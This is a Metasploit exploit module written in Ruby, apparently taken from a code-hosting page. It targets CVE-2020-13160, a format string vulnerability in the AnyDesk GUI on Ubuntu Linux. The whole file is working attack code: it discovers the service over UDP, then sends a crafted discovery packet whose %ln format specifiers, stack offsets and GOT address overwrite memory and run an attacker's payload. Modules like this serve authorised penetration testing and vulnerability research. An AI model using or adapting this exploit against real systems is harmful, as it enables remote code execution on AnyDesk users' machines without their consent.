154 lines
4.8 KiB
Ruby
154 lines
4.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'AnyDesk GUI Format String Write',
|
|
'Description' => %q{
|
|
The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially
|
|
crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the
|
|
discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On
|
|
successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.
|
|
},
|
|
'Author' => [
|
|
'scryh', # vulnerability discovery and original exploit
|
|
'Spencer McIntyre' # metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2020-13160' ],
|
|
[ 'URL', 'https://devel0pment.de/?p=1881' ]
|
|
],
|
|
'Payload' => {
|
|
'Space' => 512,
|
|
'BadChars' => "\x00\x25\x26"
|
|
},
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X64,
|
|
'DefaultOptions' => {
|
|
'CPORT' => 50001,
|
|
'PrependFork' => true,
|
|
'WfsDelay' => 10
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SERVICE_DOWN ],
|
|
'SideEffects' => [ SCREEN_EFFECTS ],
|
|
'Reliability' => [ UNRELIABLE_SESSION ]
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Anydesk 5.5.2 Ubuntu 20.04 x64',
|
|
{ 'stkref1' => 109, 'stkref2' => 125, 'time@got.plt' => 0x119ddc0 - 139 }
|
|
],
|
|
[
|
|
'Anydesk 5.5.2 Ubuntu 18.04 x64',
|
|
{ 'stkref1' => 93, 'stkref2' => 165, 'time@got.plt' => 0x119ddc0 - 135 }
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2020-06-16'
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(50001)
|
|
])
|
|
register_advanced_options([
|
|
OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),
|
|
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ])
|
|
])
|
|
end
|
|
|
|
def build_discover_packet(hn, user, inf, func)
|
|
buf = "\x3e\xd1\x01"
|
|
buf << [4919].pack('N')
|
|
buf << [0].pack('N')
|
|
buf << "\x02\x01" # os
|
|
buf << [hn.length].pack('N') << hn
|
|
buf << [user.length].pack('N') << user
|
|
buf << [0].pack('N')
|
|
buf << [inf.length].pack('N') << inf
|
|
buf << "\x00"
|
|
buf << [func.length].pack('N') << func
|
|
buf << "\x02\xc3\x51"
|
|
end
|
|
|
|
def discover
|
|
server_sock = Rex::Socket::Udp.create(
|
|
'LocalHost' => datastore['SRVHOST'],
|
|
'LocalPort' => datastore['SRVPORT'],
|
|
'Context' => {
|
|
'Msf' => framework,
|
|
'MsfExploit' => self
|
|
}
|
|
)
|
|
|
|
client_sock = connect_udp(false, {
|
|
'RPORT' => datastore['RPORT'],
|
|
'CPORT' => 0
|
|
})
|
|
client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main'))
|
|
|
|
timeout = 10
|
|
while timeout > 0
|
|
start_time = Time.now
|
|
response, host, = server_sock.recvfrom(8192, timeout)
|
|
break if host == datastore['RHOST']
|
|
|
|
timeout = Time.now - start_time
|
|
end
|
|
|
|
return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01]
|
|
return nil unless response[11] == "\x02"
|
|
|
|
disconnect_udp(client_sock)
|
|
server_sock.close
|
|
|
|
hostname = response[17..17 + response[13..16].unpack1('N')]
|
|
report_host(host: datastore['RHOST'], name: hostname)
|
|
|
|
{
|
|
hostname: hostname,
|
|
os: response[12] == "\x02" ? :linux : nil
|
|
}
|
|
end
|
|
|
|
def check
|
|
info = discover
|
|
return CheckCode::Safe if info.nil?
|
|
|
|
CheckCode::Detected("Remote hostname: #{info[:hostname]}")
|
|
end
|
|
|
|
def bad_unicode
|
|
[ rand(0x80..0x90), rand(0..0xff) ].pack('CC')
|
|
end
|
|
|
|
def exploit
|
|
info = discover
|
|
fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?
|
|
fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux
|
|
|
|
print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")
|
|
|
|
connect_udp
|
|
|
|
hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln"
|
|
hn << payload.encoded
|
|
udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['time@got.plt']}x%#{target['stkref1']}$ln", 'ad', 'main'))
|
|
print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...')
|
|
ensure
|
|
disconnect_udp
|
|
end
|
|
end
|